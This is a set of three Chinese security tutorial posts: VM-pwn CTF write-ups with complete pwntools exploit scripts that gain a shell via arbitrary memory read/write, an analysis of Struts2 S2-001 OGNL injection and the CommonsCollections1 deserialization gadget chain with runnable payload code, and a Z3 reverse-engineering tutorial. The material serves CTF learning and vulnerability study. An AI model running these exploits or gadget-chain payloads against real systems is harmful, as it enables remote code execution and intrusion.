vm-pwn入门
文章共计2761个词 预计阅读7分钟 来和我一起阅读吧 ≈≈≈≈≈≈≈≈≈≈≈≈≈≈ 引言 之前一直没去了解过vm-pwn,做一些题目对vm-pwn进行一个大体上的了解,算是入门。 前置知识 1.对指令有过了解 2.有耐心(感觉vm程序的代码量有点大) [OGeek2019 Final]OVM 检测保护 canary没开启 ida分析 main函数 fetch函数 fetch函数较为简单,即取出pc值,以pc值作为下标返回指定的指令 execute函数 可以看到指令是由几个部分组成的,其实execute函数就是一个指令表,我们通过指令表输入相应的指令就可以完成相应的操作。 指令表 操作码|操作数1|操作数2|操作数3 op   |num1  |num2  |num3 --------------------------- 操作码 0x70: reg[num1] = reg[num3]+reg[num2] | add指令 0xB0: reg[num1] = reg[num3]^reg[num2] | 异或指令 0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令 0xFF: 若reg[13]为0,则退出,否则打印指令集 0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令 0x90: reg[num1] = reg[num3] & reg[num2] |与指令 0xA0: reg[num1] = reg[num3] | reg[num2] |或指令 0x80: reg[num1] = reg[num2] - reg[num3] | sub指令 0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令 0x50: stack[op] = reg[num1] | push指令 0x60: reg[num1] = stack[reg[13]] | pop指令 0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 0x10: reg[num1] = v2(最低位) | set指令 0x20: reg[num1] = v2 ==0 其中漏洞点在于两条指令,由于数组的下标没有进行限制,则会产生数组越界的情况。则造成了任意地址写和任意地址读的情况。 0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令  //任意地址读 0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 //任意地址写 采用movsxd指令进行下标的转移,movsxd是进行符号填充再进行转移,即数组的下标是有符号数。 可以看到用于保存指令的memory以及用于寄存器存储的reg的地址都比got表的地址大,那么大数组的下标为负数时,即可越界读取got表内的地址,完成基地址的泄露 思路 ●首先程序再结束时,会往comment[0]的内容作为地址写入,然后将comment[0]给free掉,那么可以将comment[0]的内容修改为free_hook-4,此时可以将free_hook-4修改为/bin/sh\x00,free_hook修改为system从而获得shell ●由于需要将commnet[0]修改为free_hook-4,那么首先需要泄露libc_base的地址,由于读取操作没有对下标进行限制,因此进行任意地址读,读取got表项的内容,泄露libc的地址 ●将读取得到libc地址,利用指令表的算数运算求得free_hook-4的地址,利用写操作没有对下标进行限制,进行任意地址写,往comment[0]内写入free_hook-4的地址 #step1 读取got表项内容 0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set     将r1设置为1 0x10020006, #set     将r2设置为6 0xc0030102, #左移     r3=1<<6=0x40  0x10010004, #set     r1=4 0x10000006, #set     r0=6 0x70030301, #add     r3=0x40+4=0x44 0x80040003, #sub     r4=6-0x44=-0x3e,got表项 0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d,#将下标+1 0x30060004,#读取剩下的4个字节 解释一下-0x3e,我们找到需要泄露的got表项的地址,与memory地址相减,然后要除以4,因为这个值为数组的下标,而数组的大小为int型,因此要除以4,即可求出目标地址的下标值 #step2 往commnet[0]写入 由于以及泄露出got表现的地址,该地址与free_hook-4的地址相对偏移是不变的,因此就需要利用指令表的指令进行算数运算求出free_hook-4的地址即可,接着再次利用数组越界将free_hook-4写入comment[0]即可 0x10000003, 0x1001000f, 0xc0000001, 0x10010005, 0xc0000001, 0x10020004, 0x1001000f, 0xc0020201, 0x10010001, 0xc0020201, 0x70000002, 0x1001000c, 0x10020002, 0xc0020201, 0x70000002, 0x10010008, 0x10020002, 0xc0020201, 0x70000002, 0x10010004, 0x1002000b, 0xc0020201, 0x70000002, 0x70050500, 0x10000000, 0x10010008, 0x80000001,#计算出comment[0]的下标 0x40050000,#将free_hook-4的低四字节写进comment[0] 0x10010001, 0x70000001, 0x40060000,#写入剩余的4个字节 0xff000000 #打印寄存器内容 完整exp from pwn import * libc = ELF("libc.so.6") context(arch='amd64',os='linux') sh = process("./pwn") #sh = remote("node3.buuoj.cn",26699) free_hook = libc.symbols['__free_hook'] print 'free_hook:'+hex(free_hook) code = [ 0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set     将r1设置为1 0x10020006, #set     将r2设置为6 0xc0030102, #左移     r3=1<<6=0x40  0x10010004, #set     r1=4 0x10000006, #set     r0=6 0x70030301, #add     r3=0x40+4=0x44 0x80040003, #sub     r4=6-0x44=-0x3e,got表项 0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d,#将下标+1 0x30060004,#读取剩下的4个字节 0x10000003, 0x1001000f, 0xc0000001, 0x10010005, 0xc0000001, 0x10020004, 0x1001000f, 0xc0020201, 0x10010001, 0xc0020201, 0x70000002, 0x1001000c, 0x10020002, 0xc0020201, 0x70000002, 0x10010008, 0x10020002, 0xc0020201, 0x70000002, 0x10010004, 0x1002000b, 0xc0020201, 0x70000002, 0x70050500, 0x10000000, 0x10010008, 0x80000001,#计算出comment[0]的下标 0x40050000,#将free_hook-4的低四字节写进comment[0] 0x10010001, 0x70000001, 0x40060000,#写入剩余的4个字节 0xff000000 #打印寄存器内容 ] sh.recvuntil("PC:") sh.sendline(str(0)) sh.recvuntil("SP:") sh.sendline(str(1)) sh.recvuntil("CODE SIZE:") sh.sendline(str(len(code))) sh.recvuntil("CODE: ") for i in code:   sleep(0.1)   sh.sendline(str(i)) sh.recvuntil("R5: ") addr1 = sh.recv(8) print 'addr1:'+addr1 sh.recvuntil("R6: ") addr2 = sh.recv(4) print 'addr2:'+addr2 addr = int('0x'+addr2+addr1,16) print 'addr:'+hex(addr) libc_base = addr - 0x3c67a0 system = libc_base + libc.symbols['system'] print 'system:'+hex(system) sh.recvuntil("OVM?") payload = '/bin/sh\x00'+p64(system) attach(sh) sh.send(payload) sh.interactive() ciscn_2019_qual_virtual 检测保护 ida分析 main函数 程序开始开辟了三个空间,用于存放指令,数据,以及用于操作的数据空间。 指令表 指令间是通过分隔符执行分隔的,分隔符有 \n\r\t存进了名为delim的变量,strtok是根据分隔符将字符串分割出来,就是为了区分我们输入的指令。指令是采用字符串进行输入的。 execute 在执行指令的函数里,具体的指令操作没有反编译出来,我们需要动态调试将指令具体的操作的函数偏移调试出来。 将断点断在跳转时,因为rax是通过动态赋值的,因此ida不能分析出具体跳转的函数 进入gdb进行动态调试 输入你需要查找的指令 查看此时rax的值 在ida内,G键输入跳转,输入rax的值 可以发现这里会调用一个函数,这个函数就是save指令的操作,其余指令的操作也可以这样调试出来,就不一一演示了。 save save函数就是从运行栈的栈顶中取出两个值,一个值作为下标,另一个作为值进行赋值,很显然是一个任意地址写的功能,因为下标的值没有进行限制,因此存在一个数组越界。 load 存在一个任意地址写,按照套路,就应该存在一个任意地址读,我们来看下load函数,load函数就是从运行栈的栈顶取出一个值作为下标,并且将该下标的值存入运行栈中,位于运行栈的栈顶。通用存在数组越界 思路 程序没有开启got表的保护,可以修改puts函数的got表项为system 通过load函数的数组越界漏洞读取libc的值 通过save函数的数组越界漏洞将system写入puts函数的got表项 在执行puts(s)时触发system 完整exp from pwn import * libc = ELF("libc.so.6") #sh = process("./pwn") sh = remote("node3.buuoj.cn",26845) puts_got = 0x404020 sh.recvuntil("name:") sh.sendline("/bin/sh\x00") sh.recvuntil("instruction:") payload= 'push push load push sub div load push add ' payload+= 'push push load push sub div save ' sh.sendline(payload)  sh.recvuntil("data:") payload = str(8)+' ' payload += str(-4)+' ' payload += str(puts_got+8)+' ' payload += str(-0x2a300)+' ' payload += str(8)+' ' payload += str(-5)+' ' payload += str(puts_got+8)+' ' #attach(sh) sh.sendline(payload) sh.interactive() 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia
Java-Web之s2-001与CommonsCollections
本文源自我个人入坑Java-Web安全的一点小经验,献给那些看得懂java代码但不知道从哪里入手代审的师傅们:) Struts2之s2-001 环境配置 说说环境配置的问题,大多数人对漏洞复现的恐惧感还是来自于环境的配置,也许配了大半天的环境后只花几分钟就把漏洞复现了,感觉有点得不偿失,环境配置过程又是因各人电脑问题有着五花八门的问题,因此有时候会找不到问题出在哪。 虽说有现成的vulhub,但有些没有被收录在内的洞我们想复现时就需要自己搭环境了;并且有个好处就是我们可以下断点慢慢试分析漏洞的原理而不是只会用poc。 需要列表: ◆ jdk1.8 ◆ tomcat ◆ Struts2 ◆ idea 一:jdk 最好就是用1.8,高低版本可能都会各种水土不服的情况(除了漏洞版本就是需要高低版本的条件)。 二:tomcat tomcat配置其实很简单,笔者这里使用的是macos环境,直接上官网找对应版本即可,除非tomcat漏洞,否则通常来说哪个版本应该都是可以的。 下载下来后到bin目录下两行命令启动: chmod +x *.sh ./startup.sh 关闭则是运行: ./shutdown.sh 启动后默认在本机8080端口会启动一个服务,访问后得到该页面表示成功: 三:ide 我选择idea,下面讲讲idea配置tomcat。 找到偏好设置之后搜索server,如下图找到application servers,选择+号新增一个tomcat服务器。 在弹出的页面中的tomcat home路径选择为bin的上级路径也就是我们tomcat的根目录即可。 四:struts2 我这里选择使用vulhub内的war包进行部署,说说war包部署的方法。 通常war包我们只需要复制到tomcat的webapps下启动tomcat就会自动解包,我们这里可以把war包解压之后用idea打开该项目,之后add configurations添加一个tomcat服务器,如下: 然后在deployment选项下把我们项目添加进去即可开启我们愉快的debug了。 我们把lib里面的jar包都选择add to library,然后随意点进去一个类如果maven能够找到源码即可直接download,否则我们就需要自己下载源码然后点击choose source选择源码。 利用 在分析前我们看看poc: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} 我们在输入后会显示出结果为: tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 最简单的poc: %{1+1} 输出2. 分析 先从漏洞原理分析以便于我们的断点: 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html我们运行项目会发现是一个登陆框,并且结合介绍我们就能够知道可以在如下图处下断点: 我们知道输入后一旦经过漏洞处,那么我们的页面就会有回显,最好的办法就是一直盯着页面一边debug,我习惯是用f8看,一旦运行到了对应的代码页面就会有回显,此时就在该位置下一个断点,然后下次就继续从断点处用f7进入。 一整套下来要花不少时间,漏洞比较久了,网上的文章分析够多了,因此我们直接看到: //TextParseUtil/translateVariables     public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {         // deal with the "pure" expressions first!         //expression = expression.trim();         Object result = expression;         while (true) {             int start = expression.indexOf(open + "{");             int length = expression.length();             int x = start + 2;             int end;             char c;             int count = 1;             while (start != -1 && x < length && count != 0) {                 c = expression.charAt(x++);                 if (c == '{') {                     count++;                 } else if (c == '}') {                     count--;                 }             }             end = x - 1;             if ((start != -1) && (end != -1) && (count == 0)) {                 String var = expression.substring(start + 2, end);                 Object o = stack.findValue(var, asType);                 if (evaluator != null) {                   o = evaluator.evaluate(o);                 }                 String left = expression.substring(0, start);                 String right = expression.substring(end + 1);                 if (o != null) {                     if (TextUtils.stringSet(left)) {                         result = left + o;                     } else {                         result = o;                     }                     if (TextUtils.stringSet(right)) {                         result = result + right;                     }                     expression = left + o + right;                 } else {                     // the variable doesn't exist, so don't display anything                     result = left + right;                     expression = left + right;                 }             } else {                 break;             }         }         return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);     } 在这里下个断点,看看调试后的结果: 这是调试到某个循环时出现的结果,那么我们继续调试,直接这里慢慢f8,再一次循环后会发现我们外面的花括号去掉了: 我们会发现其流程是这样的: %{password}->%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} ->tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 我们在表单中输入的password字段会先生成为%{password},然后再解析该表达式得到我们输入的值,也就是说他在解析完password后得到的值为: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} 但此时并没有停止解析,而是递归的解析了我们恶意的ognl表达式,此时我们将得到: tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin} 此时就达成了代码执行。 Apache Commons Collections1 前面通过s2-001对idea代审有一个初步了解,现在审审热门的Apache Commons Collections,我这里审的是yso的链1。 yso指的是:ysoserial https://github.com/frohoff/ysoserial 环境配置 具体的不多说,关于java反序列化的知识p神有专门的一系列java漫谈,我这里就再叨叨一下环境。 我们把项目从github上clone下来后,idea打开我们选中项目里面的pom.xml 此时应该是会自动maven导包的,然后我们可以在idea里面选择pom.xml右键如下图下载源码: 我们单独测试payload时可以直接运行payload,其默认为calc.exe,那么我在macos上因为计算器的路径不同,就需要修改一下: 我本地用的jdk版本时1.8u66,(链1在8u71后就会触发失败了),那么我们再运行就可以成功弹出计算器了,那么我们就开始分析这条链。 分析 给出的链整体是如下图: /*   Gadget chain:     ObjectInputStream.readObject()       AnnotationInvocationHandler.readObject()         Map(Proxy).entrySet()           AnnotationInvocationHandler.invoke()             LazyMap.get()               ChainedTransformer.transform()                 ConstantTransformer.transform()                 InvokerTransformer.transform()                   Method.invoke()                     Class.getMethod()                 InvokerTransformer.transform()                   Method.invoke()                     Runtime.getRuntime()                 InvokerTransformer.transform()                   Method.invoke()                     Runtime.exec()   Requires:     commons-collections  */ 链是从readObject开始的,并且可以看到这条链出现了大量的transform,先讲讲这是什么。 transform方法是Transformer接口所定义的是将输入转为输出的一个方法,通常该Gadget都是主要围绕着ConstantTransformer、InvokerTransformer、ChainedTransformer等Transformer的实现类。 因为有具体的链,所以我个人觉得从后往前讲比较容易把整条链串起来,先对代码一块一块拆开分析一下。 先看看这部分: c.transform()     ConstantTransformer.transform()     InvokerTransformer.transform()         Method.invoke()             Class.getMethod()     InvokerTransformer.transform()         Method.invoke()           Runtime.getRuntime()     InvokerTransformer.transform()       Method.invoke()         Runtime.exec() 这一部分都是先前说过的Transformer实现类,可以看到ChainedTransformer的会先被调用,而ChainedTransformer的transform方法如下: private final Transformer[] iTransformers; public Object transform(Object object) {     for(int i = 0; i < this.iTransformers.length; ++i) {         object = this.iTransformers[i].transform(object);     }     return object; } iTransformers是一个Transformer类数组,看得出来这个transform的作用就是调用该数组内的每个对象的transform,并且将上一个调用transform的结果作为下一个调用transform方法的参数,以此来达成链式调用的形式,而我们的iTransformers则是ChainedTransformer的构造器的一个参数: public ChainedTransformer(Transformer[] transformers) {     this.iTransformers = transformers; } 这意味着我们是能够控制这个参数,漏洞利用的最需要的就是参数可控,这里就满足了,继续看会发现有一个ConstantTransformer以及三个InvokerTransformer是处于同一级别的,从payload可以看出来他们被放在了前面说的参数可控的数组内: 这里的最后一个ConstantTransformer是可以去掉的(这里估计p神的说法是为了隐蔽了启动进程的日志特征,不必过分纠结),因为我们的链只到第三个invoke就完事了,exec大家都很眼熟了,先看看第一个实现类的transform方法有什么用: private final Object iConstant; public ConstantTransformer(Object constantToReturn) {   super();   iConstant = constantToReturn; } public Object transform(Object input) {   return iConstant; } 看看transform,其实是去return我们传入的Runtime.class了。 下面的关键就是InvokerTransformer,来看看其transform方法: public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {   super();   iMethodName = methodName;   iParamTypes = paramTypes;   iArgs = args; } public Object transform(Object input) {   if (input == null) {     return null;   }   try {     Class cls = input.getClass();     Method method = cls.getMethod(iMethodName, iParamTypes);     return method.invoke(input, iArgs);   } catch (NoSuchMethodException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");   } catch (IllegalAccessException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");   } catch (InvocationTargetException ex) {     throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);   } } 可以见得关键在三行代码: Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); //实际的值 Class cls = input.getClass(); Method method = cls.getMethod('getMethod', new Class[] {           String.class, Class[].class }); return method.invoke(Runtime.class, new Object[] {           "getRuntime", new Class[0] }); 我们要的只是return的值,对比一下会发现input为上一次被调用的transform方法的返回值,iMethodName,iParamTypes以及iArgs为我们在调用构造函数时传入的值,这里可能看起来有点绕,先了解一下invoke吧: 对于invoke,若方法为静态方法,则传入的为class类;否则为类对象,上面的getRuntime便是静态方法。 看得出来这里是先从Runtime.class,的getmethod中获取到getmethod,然后从getmethod中调用invoke,因为getRuntime无参数,所以传入一个`new Class[0],后续的链也是同样的分析方式,重点需要理解清楚反射到底是什么意思。 这里给一个反射的payload对照一下: Class clazz = Runtime.class; Object rt = clazz.getMethod("getRuntime").invoke(clazz); clazz.getMethod("exec", String.class).invoke(rt,"calc"); 整理一下目前的链为: Transformer[] transformers = new Transformer[]{   new ConstantTransformer(Runtime.class),   new InvokerTransformer("getMethod", new Class[] {     String.class, Class[].class }, new Object[] {     "getRuntime", new Class[0] }),   new InvokerTransformer("invoke", new Class[] {     Object.class, Object[].class }, new Object[] {     null, new Object[0] }),   new InvokerTransformer("exec",                          new Class[] { String.class }, new String[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); 然后继续回看刚刚没看完的链: AnnotationInvocationHandler.readObject()         Map(Proxy).entrySet()           AnnotationInvocationHandler.invoke()             LazyMap.get() LazyMap.get(),直接上源码看起来就很容易懂的了: protected LazyMap(Map map, Transformer factory) {     super(map);     if (factory == null) {         throw new IllegalArgumentException("Factory must not be null");     }     this.factory = factory; } public static Map decorate(Map map, Transformer factory) {     return new LazyMap(map, factory); } public Object get(Object key) {     // create value for key if key is not currently in the map     if (map.containsKey(key) == false) {         Object value = factory.transform(key);         map.put(key, value);         return value;     }     return map.get(key); } 很明显的看到了transform,key可控,那么我们前面的ChainedTransformer利用条件的transform就有了。 然而这里的构造器是protected的,但注意到有一个decorate方法(是一种设计模式,看名字应该是装饰模式,没有具体了解)。 那么到这里我们的payload就增加为: Transformer[] transformers = new Transformer[]{   new ConstantTransformer(Runtime.class),   new InvokerTransformer("getMethod", new Class[] {     String.class, Class[].class }, new Object[] {     "getRuntime", new Class[0] }),   new InvokerTransformer("invoke", new Class[] {     Object.class, Object[].class }, new Object[] {     null, new Object[0] }),   new InvokerTransformer("exec",                          new Class[] { String.class }, new String[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain); lazyMap.get(transformerChain); 感兴趣的读者可以试试现在是不是可以弹出计算器了,然而这里又产生了一个问题,怎么调用map的get方法(笔者这上面的payload是手动动调用了get方法),强悍的yso作者找到了AnnotationInvocationHandler类,仔细看看这块代码做了什么: private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {   ······     Map map = annotationType.memberTypes();     for (Map.Entry entry : this.memberValues.entrySet()) {         String str = (String)entry.getKey();         Class clazz = (Class)map.get(str);         if (clazz != null) {             Object object = entry.getValue();             if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))                 entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str)));          }      }  } 他重写了readObject方法,然而会发现这里并没有链里面的invoke,事实上这里是使用了动态代理: jdk为我们的生成了一个叫$Proxy0(这个名字后面的0是编号,有多个代理类会一次递增)的代理类,这个类文件时放在内存中的,我们在创建代理对象时,就是通过反射获得这个类的构造方法,然后创建的代理实例。通过对这个生成的代理类源码的查看,我们很容易能看出,动态代理实现的具体过程。 我们可以对InvocationHandler看做一个中介类,中介类持有一个被代理对象,在invoke方法中调用了被代理对象的相应方法。通过聚合方式持有被代理对象的引用,把外部对invoke的调用最终都转为对被代理对象的调用。 代理类调用自己方法时,通过自身持有的中介类对象来调用中介类对象的invoke方法,从而达到代理执行被代理对象的方法。也就是说,动态代理通过中介类实现了具体的代理功能。 也就是说,AnnotationInvocationHandler是一个中介类,我们调用了this.memberValues.entrySet()的时候会调用中介类的invoke方法,而调用时会先调用重写的方法,看起来很复杂,事实上可以理解为php里面的__call方法。 看看中介类的invoke: class AnnotationInvocationHandler implements InvocationHandler, Serializable { AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {     Class[] arrayOfClass = paramClass.getInterfaces();     if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)         throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");      this.type = paramClass;     this.memberValues = paramMap; } public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {   ······     Object object = this.memberValues.get(str);  //调用了get方法     if (object == null)         throw new IncompleteAnnotationException(this.type, str);      if (object instanceof ExceptionProxy)         throw ((ExceptionProxy)object).generateException();      if (object.getClass().isArray() && Array.getLength(object) != 0)         object = cloneArray(object);      return object; } 梳理一下从上往下看就是调用AnnotationInvocationHandler的readObject方法时会调用到memberValues也就是代理类的entrySet,然后就会去调用中介类的invoke方法,invoke方法里面又会去调用memberValues的get方法,此时就与前面的map需要get连上来了。 这里给一下反射类的非公有构造器的方法: Class clazz = Class.forName("java.lang.Runtime"); Constructor c = clazz.getDeclaredConstructor(); c.setAccessible(true); clazz.getMethod("exec",String.class).invoke(c.newInstance(),"calc"); 这里的setAccessible是设置作用域,补充这一点是因为AnnotationInvocationHandler的构造器就是非公有的。 改写一下payload: package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class InTest {     public static void main(String[] args) throws Exception {         Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getMethod", new Class[] {                 String.class, Class[].class }, new Object[] {                 "getRuntime", new Class[0] }),             new InvokerTransformer("invoke", new Class[] {                 Object.class, Object[].class }, new Object[] {                 null, new Object[0] }),             new InvokerTransformer("exec",                 new Class[] { String.class }, new String[] { "calc" })         };         Transformer transformerChain = new ChainedTransformer(transformers);         Map map = new HashMap();         Map lazyMap = LazyMap.decorate(map, transformerChain);         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);         handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);         ByteArrayOutputStream barr = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(barr);         oos.writeObject(handler);         oos.close();         System.out.println(barr);         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));         Object o = (Object)ois.readObject();     } } 小结 不得不感叹能挖掘出这些漏洞的都是人才,没啥话好说了,只能说一句牛逼。 参考 https://xz.aliyun.com/t/7915p神java安全漫谈 实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001&pk_campaign=heetian-wemedia  本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞。
Z3在逆向中运用
文章共计7370个词 预计阅读10分钟 来和我一起阅读吧 ≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈ 介绍 Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF 领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 angr 也内置了一个修改版的 Z3。 官方使用文档:https://rise4fun.com/z3/tutorialcontent/guide z3py 功能手册:https://z3prover.github.io/api/html/namespacez3py.html z3py 使用文档:https://ericpony.github.io/z3py-tutorial/guide-examples.htm z3 所使用的语法标准:http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf 安装 这里安装的是 python 库版本,编译好的二进制版本在 Github 下载。https://github.com/Z3Prover/z3/releases 简单使用 from z3 import * x = Int('x')#设置整型变量x y = Int('y')#设置整型变量y solve(x > 2, y < 10, x + 2*y == 7)#写入方程 # [y = 0, x = 7] 进阶使用 设置变量 批量设置变量见补充 Int - 整数型 # 声明单个变量 x = Int('x') # 声明多个变量 y,z = Ints('y z') | 运算需要初始化为Int变量 Real - 实数型 # 声明单个变量 x = Real('x') # 声明多个变量 y,z = Reals('y z') BitVec - 向量(位运算) # 声明单个 16 位的变量 x = BitVec('x',16) # 声明多个 16 位的变量 y,z = BitVecs('y z',16) 只有 BitVec 变量可以进行异或 solver.add(BitVec('x',8)^BitVec('y',8)==5) BitVec 变量值之间可进行>或<或=或>=或<=的比较 BitVec('a',8)>=BitVec('b',8) BitVec('a',8)<=BitVec('b',8) BitVec('a',8)<=9 BitVec('a',8)==9 BitVecVal 值之间不能进行>或<比较,只能转换成 python 认识的类型才可以比较 if BitVecVal(98,8)>BitVecVal(97,8)#错误,不是python类型 if BitVecVal(98,8)==98: if BitVecVal(98,8).as_long()>97 if BitVecVal(98,8).as_long()>BitVecVal(97,8).as_long() 变量设置的类型可能会影响到最后求解的结果。可以先 check 一下看看有没有解,然后再判断是否需要切换变量的类型。 Solver 对象 实际做题时,约束条件肯定不会想上面例子这么少,所以需要实例化一个 Solver() 对象,方便我们添加更多的约束条件。 创建约束求解器:solver = Solver() 添加约束条件 一行一个约束条件,这里的约束条件就是方程等式: solver.add(x**2+y**2==74) solver.add(x**5-y==z) # [y = -7, x = 5, z = 3132] z3 中不允许列表与列表之间添加==约束条件: 判断是否有解 if solver.check() == sat:    print("solver") else:    print("no solver") 求解并输出 ans = solver.model() print(ans) 补充 限制结果为可见字符 通常如果是做题的话,解密出来很可能是 flag ,也就是 ascii 码,所以为了进一步约束范围可以给每一个变量都加上额外的一条约束,约束其结果只能在可见 ascii 码范围以内: solver.add(x < 127) solver.add(x >= 32) 快速添加变量 添加 50 个 Int 变量 s : s=[Int('s%d' % i) for i in range(50)] 添加 50 个 Real 变量 s : s=[Real('s%d' % i) for i in range(50)] 添加 50 个 16 位 BitVec 变量 s : s=[BitVec ('s%d' % i,16) for i in range(50)] 在约束条件中用下标索引使用: solver.add(s[18] * s[8] == 5) solver.add(s[4] * s[11] == 0) 将结果按顺序打印出来: 这是使用列表管理变量的好处,如果不使用列表 print(answer) 输出的结果是无序的。 answer=solver.model() #print(answer) result="".join([str(answer[each]) for each in s]) print(result) 练习例题 2020 羊城杯 login 题目前面还有一步逆向 pyinstaller 打包的 exe 文件,这里不赘述直接给出源码: import sys input1 = input('input something:') if len(input1) != 14:     print('Wrong length!')     sys.exit() code = [] for i in range(13):     code.append(ord(input1[i]) ^ ord(input1[i + 1])) code.append(ord(input1[13])) a1 = code[2] a2 = code[1] a3 = code[0] a4 = code[3] a5 = code[4] a6 = code[5] a7 = code[6] a8 = code[7] a9 = code[9] a10 = code[8] a11 = code[10] a12 = code[11] a13 = code[12] a14 = code[13] if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)     print('flag is GWHT{md5(your_input)}')     print('Congratulations and have fun!') else:     print('Sorry,plz try again...') import sys input1 = input('input something:') if len(input1) != 14:     print('Wrong length!')     sys.exit() code = [] for i in range(13):     code.append(ord(input1[i]) ^ ord(input1[i + 1])) code.append(ord(input1[13])) a1 = code[2] a2 = code[1] a3 = code[0] a4 = code[3] a5 = code[4] a6 = code[5] a7 = code[6] a8 = code[7] a9 = code[9] a10 = code[8] a11 = code[10] a12 = code[11] a13 = code[12] a14 = code[13] if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)     print('flag is GWHT{md5(your_input)}')     print('Congratulations and have fun!') else:     print('Sorry,plz try again...') 分析之后确定需要先求解出 a1~a14 的值,然后再经过一次异或获得 flag 。 这里我们手动添加多个变量,因为源码中的方式形式为 ax 。如果我们用列表管理变量,方程需要手动修改,消耗更多时间得不偿失。z3 脚本: 这里我们需要将有移位运算的那一条方程注释掉,因为 Int 没有这种运算方法。然后我们知道 a1~a14 是两两整数异或而来,所以加上约束大于等于 0 ,否则由于缺少一条方程解出来的值含有负数。 